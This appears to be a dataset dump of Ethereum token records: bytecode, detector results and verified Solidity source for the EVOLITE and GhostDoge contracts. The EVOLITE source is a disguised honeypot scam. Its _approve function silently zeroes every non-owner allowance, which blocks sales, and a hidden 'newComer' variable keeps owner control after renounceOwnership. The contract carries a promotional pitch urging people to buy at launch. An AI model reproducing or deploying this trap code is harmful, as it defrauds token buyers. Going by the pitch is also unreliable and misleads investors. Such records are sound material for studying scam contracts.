b6020808252810161177881612f22565b6020808252810161177881612f7a565b6020808252810161177881612fc6565b6020808252810161177881612ff7565b60608101611778828461304f565b61012081016134c5828c61270c565b6134d2602083018b612575565b81810360408301526134e4818a61258d565b905081810360608301526134f881896126b5565b9050818103608083015261350c8188612654565b905081810360a083015261352081876125e6565b905061352f60c083018661270c565b61353c60e083018561270c565b81810361010083015261354f8184612726565b9b9a5050505050505050505050565b610120810161356d828c61270c565b61357a602083018b612584565b613587604083018a61270c565b613594606083018961270c565b6135a1608083018861270c565b6135ae60a083018761270c565b6135bb60c083018661270c565b6135c860e0830185612703565b6135d6610100830184612703565b9a9950505050505050505050565b60408101613104828561270c565b60405181810167ffffffffffffffff8111828210171561361157600080fd5b604052919050565b600067ffffffffffffffff82111561363057600080fd5b5060209081020190565b600067ffffffffffffffff82111561365157600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006117788261369b565b151590565b80610aa78161372e565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b6000611778825b600061177882613681565b600061177882613691565b600061177882610535565b6000611778826136ad565b82818337506000910152565b60005b838110156137135781810151838201526020016136fb565b8381111561105c5750506000910152565b601f01601f191690565b60088110611ffa57fe5b61374181613681565b8114611ffa57600080fd5b6137418161368c565b61374181610535565b613741816136a7565b613741816136ad56fea365627a7a72315820939535fad667b0df0fd70b0f66aa179a810a1ee45598f06e6980ac31d9da4a836c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,134 |
0x8f97feb79a48c5ad1ed85a25838e0ed78f3b3824
|
/*
EvoLite
This one is looking good. Adam Shelton already on board. Hasn’t launched yet but launching on March 30th. Haven’t worked with team but dev seems passionate and the website and content are clean
They have a prediction platform, fantasy sports and a sports NFT marketplace. Also holding a live fight event with real fighters a week after launch. Seems like the team really wants this to be a success
As always with pre launch calls wait for lock and find your entry come launch day volume might be high
Have a read through their website some good info there
Website: https://evolite.io/
Telegram: https://t.me/EvoLiteVerify
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract EVOLITE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'EVOLITE ' ;
string private _symbol = 'EVOLITE ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d9ac269555548edc26f2ae5f85550c75679f36f9038ecca16ce490ae07e2ff6d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,135 |
0x981aD3cbd6104c6Eeda4bf1A24a2A796Aa7eb4fF
|
//SPDX-License-Identifier: None
// Telegram: t.me/GhostDogeToken
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="GHOSTDOGE";
string constant TOKEN_NAME="Ghost Doge";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract GhostDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a7578063a9059cbb146102c7578063dd62ed3e146102e7578063f42938901461032d57600080fd5b806370a0823114610218578063715018a6146102385780638da5cb5b1461024d57806395d89b411461027557600080fd5b8063293230b8116100c6578063293230b8146101bb578063313ce567146101d25780633e07ce5b146101ee57806351bc3c851461020357600080fd5b806306fdde0314610103578063095ea7b31461014857806318160ddd1461017857806323b872dd1461019b57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526947686f737420446f676560b01b60208201525b60405161013f91906113fb565b60405180910390f35b34801561015457600080fd5b50610168610163366004611465565b610342565b604051901515815260200161013f565b34801561018457600080fd5b5061018d610359565b60405190815260200161013f565b3480156101a757600080fd5b506101686101b6366004611491565b61037a565b3480156101c757600080fd5b506101d06103e3565b005b3480156101de57600080fd5b506040516006815260200161013f565b3480156101fa57600080fd5b506101d06107a6565b34801561020f57600080fd5b506101d06107dc565b34801561022457600080fd5b5061018d6102333660046114d2565b610809565b34801561024457600080fd5b506101d061082b565b34801561025957600080fd5b506000546040516001600160a01b03909116815260200161013f565b34801561028157600080fd5b5060408051808201909152600981526847484f5354444f474560b81b6020820152610132565b3480156102b357600080fd5b506101d06102c23660046114ef565b6108cf565b3480156102d357600080fd5b506101686102e2366004611465565b6108f8565b3480156102f357600080fd5b5061018d610302366004611508565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033957600080fd5b506101d0610905565b600061034f33848461096f565b5060015b92915050565b60006103676006600a61163b565b610375906305f5e10061164a565b905090565b6000610387848484610a93565b6103d984336103d4856040518060600160405280602881526020016117af602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610d18565b61096f565b5060019392505050565b6009546001600160a01b031633146103fa57600080fd5b600c54600160a01b900460ff16156104595760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104859030906001600160a01b03166104776006600a61163b565b6103d4906305f5e10061164a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d357600080fd5b505afa1580156104e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050b9190611669565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561056857600080fd5b505afa15801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a09190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105e857600080fd5b505af11580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106209190611669565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061065081610809565b6000806106656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106c857600080fd5b505af11580156106dc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107019190611686565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561076b57600080fd5b505af115801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a391906116b4565b50565b6009546001600160a01b031633146107bd57600080fd5b6107c96006600a61163b565b6107d7906305f5e10061164a565b600a55565b6009546001600160a01b031633146107f357600080fd5b60006107fe30610809565b90506107a381610d52565b6001600160a01b03811660009081526002602052604081205461035390610edb565b6000546001600160a01b031633146108855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b031633146108e657600080fd5b600981106108f357600080fd5b600855565b600061034f338484610a93565b6009546001600160a01b0316331461091c57600080fd5b476107a381610f58565b600061096883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f96565b9392505050565b6001600160a01b0383166109d15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610a325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a657